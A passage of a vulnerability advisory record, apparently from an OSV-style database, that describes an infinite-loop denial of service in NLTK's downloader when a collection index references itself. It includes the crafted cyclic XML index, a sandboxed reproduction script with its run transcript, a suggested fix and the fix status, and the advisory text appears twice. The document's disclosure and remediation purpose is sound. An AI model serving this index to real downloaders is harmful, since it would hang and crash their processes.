CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.\n\nLive transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback \u2014 `987`, `972`, and `1305` respectively \u2014 and the elapsed time):\n\n```\n[PASS] precondition: cyclic index has a self-referencing \u003ccollection\u003e (ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e)\n[PASS] precondition: acyclic control index references only packages\n[control] returned rc=0 in 0.2s\n[PASS] control: Downloader.packages() returned (no hang)\n[PASS] control: _packages parsed = [\u0027p1\u0027]\n[PASS] control: collection \u0027a\u0027 closure = [\u0027p1\u0027] (finite, as documented)\n[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)\n[attack] rc=1 after 6.6s\n[attack] entering Downloader.packages() on the self-referencing index ...\nTraceback (most recent call last):\n File \"\u003cstring\u003e\", line 38, in \u003cmodule\u003e\n File \"nltk/downloader.py\", line 627, in packages\n self._update_index()\n File \"nltk/downloader.py\", line 1305, in _update_index\n queue.extend(child.children)\nMemoryError\n[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)\nnltk under test: 3.10.3\nRESULT 4/4 checks passed, 0 failed\n```\n\nThe malicious index is exactly:\n\n```xml\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n```\n\n### Impact\n\n- **Type**: CWE-835 / CWE-400 \u2014 denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control \u2014 third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM\u0027d. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.\n- **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.\n- **Effect**: the process is permanently wedged in the closure BFS \u2014 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.\n\n**Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:\n\n```python\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n seen = set()\n for child in queue:\n if isinstance(child, Collection):\n if child.id in seen:\n continue\n seen.add(child.id)\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\nDefense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction: a cyclic collection index makes\n``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.\n\nAttack: an index XML whose ``\u003ccollection\u003e`` references itself (or a mutual\ncycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``\nstrings with real ``Collection`` objects. The package-closure walk\n(``for child in queue: ... queue.extend(child.children)``) has no visited set\nand no depth cap, so the queue grows forever and the function never returns.\n\nControls:\n * an acyclic index of the same shape completes and yields the expected\n closure (the same function, the same caller, under the same memory cap);\n * the attack never returns normally: it either keeps running past a hard\n timeout (observed hang) or is aborted by the child\u0027s address-space cap\n (unbounded memory growth) -- in both cases the exact finite input that the\n control handles instantly cannot be completed.\n\nUsage:\n python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]\n\nEnvironment:\n NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is\n installed into a scratch dir and put on PYTHONPATH for the\n verification children.\n NLTK_TIMEOUT hard timeout seconds for each child (default: 60).\n MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be\n passed as the first positional argument.\n\"\"\"\n\nimport os\nimport resource\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\nimport time\nfrom xml.etree import ElementTree\n\ndef _default_memcap():\n if len(sys.argv) \u003e 1 and sys.argv[1] != \"--child\":\n raw = sys.argv[1]\n else:\n raw = os.environ.get(\"MEMCAP_MIB\", \"512\")\n try:\n value = int(raw)\n except (TypeError, ValueError):\n print(\"warning: invalid MEMCAP_MIB %r, falling back to 512\" % raw, file=sys.stderr)\n return \"512\"\n return str(value) if value \u003e 0 else \"512\"\n\n\nMEMCAP_MIB = int(_default_memcap())\nCHILD_TIMEOUT = float(os.environ.get(\"NLTK_TIMEOUT\", \"60\"))\n\nCYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nACYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Acyclic collection\"\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nCHILD_DRIVER = r\"\"\"\nimport os\nimport resource\nimport sys\n\nimport nltk\nimport nltk.data as nltk_data\n\nmode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]\n\n# Allow the local index file to be read under hardened pathsec (ENFORCE mode).\nnltk_data.path.append(workdir)\n\ncap = int(os.environ[\"NLTK_CHILD_MEMCAP_MIB\"]) * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (cap, cap))\n\nfrom nltk.downloader import Downloader\n\ndownloader = Downloader(server_index_url=url)\n\nif mode == \"control\":\n # _update_index() runs to completion here; the acyclic closure is finite.\n packages = list(downloader.packages())\n ids = sorted(p.id for p in packages)\n print(\"[PASS] control: Downloader.packages() returned (no hang)\")\n assert ids == [\"p1\"], ids\n print(\"[PASS] control: _packages parsed = %r\" % ids)\n col = next(c for c in downloader.collections() if c.id == \"a\")\n closure = sorted(p.id for p in col.packages)\n assert closure == [\"p1\"], closure\n print(\"[PASS] control: collection \u0027a\u0027 closure = %r (finite, as documented)\" % closure)\n sys.exit(0)\nelif mode == \"attack\":\n # This call drives _update_index -\u003e the collection-closure BFS. The index\n # collection self-references itself, so the BFS never terminates; the queue\n # keeps growing until the address-space cap aborts the process.\n print(\"[attack] entering Downloader.packages() on the self-referencing index ...\")\n _ = downloader.packages()\n print(\"[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered\")\n sys.exit(2)\nelse:\n print(\"[FAIL] unknown mode %r\" % mode)\n sys.exit(2)\n\"\"\"\n\n\ndef build_site_env(workdir):\n \"\"\"Return (env, site_path_or_None) so the children can import nltk.\"\"\"\n probe = subprocess.run(\n [sys.executable, \"-c\", \"import nltk\"],\n capture_output=True,\n )\n if probe.returncode == 0:\n return dict(os.environ), None\n wheel = os.environ.get(\"NLTK_WHEEL\")\n if not wheel:\n return None, None\n site = os.path.join(workdir, \"site\")\n subprocess.run(\n [sys.executable, \"-m\", \"pip\", \"install\", \"--quiet\", \"--target\", site, wheel],\n check=True,\n )\n env = dict(os.environ)\n env[\"PYTHONPATH\"] = site + (os.pathsep + env[\"PYTHONPATH\"] if env.get(\"PYTHONPATH\") else \"\")\n return env, site\n\n\ndef run_child(env, script, mode, url, workdir):\n cmd = [sys.executable, script, \"--child\", mode, url, workdir]\n start = time.monotonic()\n try:\n proc = subprocess.run(\n cmd,\n env=env,\n capture_output=True,\n text=True,\n timeout=CHILD_TIMEOUT,\n )\n timed_out = False\n except subprocess.TimeoutExpired as exc:\n proc = exc\n timed_out = True\n elapsed = time.monotonic() - start\n stdout = proc.stdout if hasattr(proc, \"stdout\") else \"\"\n stderr = proc.stderr if hasattr(proc, \"stderr\") else \"\"\n return timed_out, getattr(proc, \"returncode\", None), stdout, stderr, elapsed\n\n\ndef main():\n results = []\n\n def check(name, cond, detail=\"\"):\n results.append(bool(cond))\n print(\"[%s] %s%s\" % (\"PASS\" if cond else \"FAIL\", name, (\" (%s)\" % detail if detail else \"\")))\n\n with tempfile.TemporaryDirectory(prefix=\"nltk_cycle_\") as workdir:\n cyclic_path = os.path.join(workdir, \"index_cyclic.xml\")\n acyclic_path = os.path.join(workdir, \"index_acyclic.xml\")\n with open(cyclic_path, \"w\") as fh:\n fh.write(CYCLIC_INDEX)\n with open(acyclic_path, \"w\") as fh:\n fh.write(ACYCLIC_INDEX)\n cyclic_url = \"file://\" + cyclic_path\n acyclic_url = \"file://\" + acyclic_path\n\n # --- Input modeling preconditions -------------------------------\n cyc = ElementTree.parse(cyclic_path).getroot()\n col = cyc.find(\"collections/collection\")\n check(\n \"precondition: cyclic index has a self-referencing \u003ccollection\u003e\",\n col is not None and col.get(\"id\") == \"a\"\n and any((it.get(\"ref\") == \"a\" for it in col.findall(\"item\"))),\n \"ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e\",\n )\n acy = ElementTree.parse(acyclic_path).getroot()\n cola = acy.find(\"collections/collection\")\n check(\n \"precondition: acyclic control index references only packages\",\n cola is not None and [it.get(\"ref\") for it in cola.findall(\"item\")] == [\"p1\"],\n )\n\n env, site = build_site_env(workdir)\n if env is None:\n print(\"FAIL: nltk is not importable and NLTK_WHEEL is unset\", file=sys.stderr)\n return 1\n child_env = dict(env)\n child_env[\"NLTK_CHILD_MEMCAP_MIB\"] = str(MEMCAP_MIB)\n\n # --- Control: acyclic index completes under the same memory cap ---\n t, rc, out, err, el = run_child(child_env, __file__, \"control\", acyclic_url, workdir)\n print(\"[control] returned rc=%s in %.1fs%s\" % (rc, el, \" (TIMEOUT)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n check(\n \"control: acyclic index completes and yields the documented finite closure\",\n (not t) and rc == 0 and \"collection \u0027a\u0027 closure = [\u0027p1\u0027]\" in (out + err),\n \"rc=%s\" % rc,\n )\n\n # --- Attack: cyclic index must NOT complete ----------------------\n t, rc, out, err, el = run_child(child_env, __file__, \"attack\", cyclic_url, workdir)\n print(\"[attack] rc=%s after %.1fs%s\" % (rc, el, \" (still running at timeout)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n if t:\n check(\n \"attack: self-referencing index hangs _update_index past the %ss timeout\" % CHILD_TIMEOUT,\n True,\n \"process still running, queue growing unboundedly\",\n )\n elif rc is not None and rc != 0:\n memory = \"MemoryError\" in (out + err) or \"MemoryError\" in err\n check(\n \"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)\" % MEMCAP_MIB,\n memory,\n \"rc=%s, %s\" % (rc, \"MemoryError\" if memory else \"non-zero exit\"),\n )\n else:\n check(\n \"attack: self-referencing index hangs _update_index (vulnerability reproduced)\",\n False,\n \"function returned -- cyclic input was handled\",\n )\n\n # --- Version banner ---------------------------------------------\n ver_out = subprocess.run(\n [sys.executable, \"-c\", \"import nltk; print(nltk.__version__)\"],\n env=env,\n capture_output=True,\n text=True,\n ).stdout.strip()\n print(\"nltk under test: %s\" % (ver_out or \"unknown\"))\n\n passed = sum(results)\n failed = len(results) - passed\n print(\"RESULT %d/%d checks passed, %d failed\" % (passed, len(results), failed))\n return 0 if failed == 0 else 1\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) \u003e= 2 and sys.argv[1] == \"--child\":\n os.execv(sys.executable, [sys.executable, \"-c\", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])\n sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3767 \"Prevent infinite loop from cyclic collection indices\" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).\n\nProbe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).\n\nRelease: none yet; no release tag contains b77d329db.",
"id": "BREW-acronym-CVE-2026-128140",
"modified": "2026-11-21T09:27:04Z",
"published": "2026-11-21T09:27:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128140"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "NLTK: Downloader cyclic collection indices cause an infinite closure walk",
"upstream": [
"GHSA-pcm8-fqjx-rvx8",
"CVE-2026-128140"
]
}
BREW-GPTLINE-CVE-2026-128140 (GHSA-PCM8-FQJX-RVX8)
Vulnerability from osv_homebrew – Published: 2026-11-24 10:41 – Updated: 2026-11-24 10:41 – Source websiteaffected: PyPI
nltk>= 3.6.7—nltk.downloaderindex parsing (Downloader._update_index) dynamically reproduced:nltk3.6.7(4/4 checks),3.9.2(4/4),3.10.3(4/4), anddevelop6818767b9(4/4)
Source references (nltk/downloader.py:NNN) are to commit 6818767b9 (develop, v3.10.3-15-g6818767b9). The v3.10.3 tag and the released 3.10.3 wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at downloader.py:1300-1310). Dynamically verified wheels additionally show the same defect at downloader.py:972 (3.9.2) and downloader.py:987 (3.6.7).
Summary
Downloader._update_index (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:
# nltk/downloader.py:1300-1310
for collection in self._collections.values():
packages = {}
queue = [collection]
for child in queue:
if isinstance(child, Collection):
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.
Details
Root cause is the combination of three unguarded steps:
Collection.fromxml(nltk/downloader.py:362-369) stores each<item ref="…">attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle._update_index(nltk/downloader.py:1285-1290) replaces those ref strings with the live objects fromself._collections/self._packages. A self- or mutual-reference therefore becomes an object-level cycle inchildren.- The closure walk (
nltk/downloader.py:1300-1310) iteratesfor child in queuewhile doingqueue.extend(child.children)inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is novisitedset, no node-count cap, and no cycle detection.
The input is the data-server index that the downloader is designed to fetch and trust: _update_index pulls it with safe_parse(urlopen(self._url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (server_index_url constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is server_index_url — plus NLTK_DOWNLOAD_URL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.
PoC
The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMIT_AS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.
Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.
Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.
Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):
[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
File "<string>", line 38, in <module>
File "nltk/downloader.py", line 627, in packages
self._update_index()
File "nltk/downloader.py", line 1305, in _update_index
queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)
nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failed
The malicious index is exactly:
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
Impact
- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
- Who is impacted: any deployment that uses
nltk.downloader(directly, vianltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(),info(),packages(),collections(),status()) funnels through_update_indexand is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
- Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running
nltk.download()in a script or service turns a single poisoned index into an unresolvable hang.
Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:
for collection in self._collections.values():
packages = {}
queue = [collection]
seen = set()
for child in queue:
if isinstance(child, Collection):
if child.id in seen:
continue
seen.add(child.id)
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.
Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.
Controls:
* an acyclic index of the same shape completes and yields the expected
closure (the same function, the same caller, under the same memory cap);
* the attack never returns normally: it either keeps running past a hard
timeout (observed hang) or is aborted by the child's address-space cap
(unbounded memory growth) -- in both cases the exact finite input that the
control handles instantly cannot be completed.
Usage:
python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]
Environment:
NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
installed into a scratch dir and put on PYTHONPATH for the
verification children.
NLTK_TIMEOUT hard timeout seconds for each child (default: 60).
MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be
passed as the first positional argument.
"""
import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree
def _default_memcap():
if len(sys.argv) > 1 and sys.argv[1] != "--child":
raw = sys.argv[1]
else:
raw = os.environ.get("MEMCAP_MIB", "512")
try:
value = int(raw)
except (TypeError, ValueError):
print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
return "512"
return str(value) if value > 0 else "512"
MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))
CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
"""
ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Acyclic collection">
<item ref="p1"/>
</collection>
</collections>
</index>
"""
CHILD_DRIVER = r"""
import os
import resource
import sys
import nltk
import nltk.data as nltk_data
mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]
# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)
cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=url)
if mode == "control":
# _update_index() runs to completion here; the acyclic closure is finite.
packages = list(downloader.packages())
ids = sorted(p.id for p in packages)
print("[PASS] control: Downloader.packages() returned (no hang)")
assert ids == ["p1"], ids
print("[PASS] control: _packages parsed = %r" % ids)
col = next(c for c in downloader.collections() if c.id == "a")
closure = sorted(p.id for p in col.packages)
assert closure == ["p1"], closure
print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
sys.exit(0)
elif mode == "attack":
# This call drives _update_index -> the collection-closure BFS. The index
# collection self-references itself, so the BFS never terminates; the queue
# keeps growing until the address-space cap aborts the process.
print("[attack] entering Downloader.packages() on the self-referencing index ...")
_ = downloader.packages()
print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
sys.exit(2)
else:
print("[FAIL] unknown mode %r" % mode)
sys.exit(2)
"""
def build_site_env(workdir):
"""Return (env, site_path_or_None) so the children can import nltk."""
probe = subprocess.run(
[sys.executable, "-c", "import nltk"],
capture_output=True,
)
if probe.returncode == 0:
return dict(os.environ), None
wheel = os.environ.get("NLTK_WHEEL")
if not wheel:
return None, None
site = os.path.join(workdir, "site")
subprocess.run(
[sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
check=True,
)
env = dict(os.environ)
env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
return env, site
def run_child(env, script, mode, url, workdir):
cmd = [sys.executable, script, "--child", mode, url, workdir]
start = time.monotonic()
try:
proc = subprocess.run(
cmd,
env=env,
capture_output=True,
text=True,
timeout=CHILD_TIMEOUT,
)
timed_out = False
except subprocess.TimeoutExpired as exc:
proc = exc
timed_out = True
elapsed = time.monotonic() - start
stdout = proc.stdout if hasattr(proc, "stdout") else ""
stderr = proc.stderr if hasattr(proc, "stderr") else ""
return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed
def main():
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))
with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
cyclic_path = os.path.join(workdir, "index_cyclic.xml")
acyclic_path = os.path.join(workdir, "index_acyclic.xml")
with open(cyclic_path, "w") as fh:
fh.write(CYCLIC_INDEX)
with open(acyclic_path, "w") as fh:
fh.write(ACYCLIC_INDEX)
cyclic_url = "file://" + cyclic_path
acyclic_url = "file://" + acyclic_path
# --- Input modeling preconditions -------------------------------
cyc = ElementTree.parse(cyclic_path).getroot()
col = cyc.find("collections/collection")
check(
"precondition: cyclic index has a self-referencing <collection>",
col is not None and col.get("id") == "a"
and any((it.get("ref") == "a" for it in col.findall("item"))),
"ref='a' inside <collection id='a'>",
)
acy = ElementTree.parse(acyclic_path).getroot()
cola = acy.find("collections/collection")
check(
"precondition: acyclic control index references only packages",
cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
)
env, site = build_site_env(workdir)
if env is None:
print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
return 1
child_env = dict(env)
child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)
# --- Control: acyclic index completes under the same memory cap ---
t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
check(
"control: acyclic index completes and yields the documented finite closure",
(not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
"rc=%s" % rc,
)
# --- Attack: cyclic index must NOT complete ----------------------
t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
if t:
check(
"attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
True,
"process still running, queue growing unboundedly",
)
elif rc is not None and rc != 0:
memory = "MemoryError" in (out + err) or "MemoryError" in err
check(
"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
memory,
"rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
)
else:
check(
"attack: self-referencing index hangs _update_index (vulnerability reproduced)",
False,
"function returned -- cyclic input was handled",
)
# --- Version banner ---------------------------------------------
ver_out = subprocess.run(
[sys.executable, "-c", "import nltk; print(nltk.__version__)"],
env=env,
capture_output=True,
text=True,
).stdout.strip()
print("nltk under test: %s" % (ver_out or "unknown"))
passed = sum(results)
failed = len(results) - passed
print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
return 0 if failed == 0 else 1
if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1] == "--child":
os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
sys.exit(main())
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).
Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).
Release: none yet; no release tag contains b77d329db.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.4",
"upstream_fixed_in": "3.10.4"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptline",
"purl": "pkg:brew/gptline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8"
},
{
"fixed": "1.0.8_25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
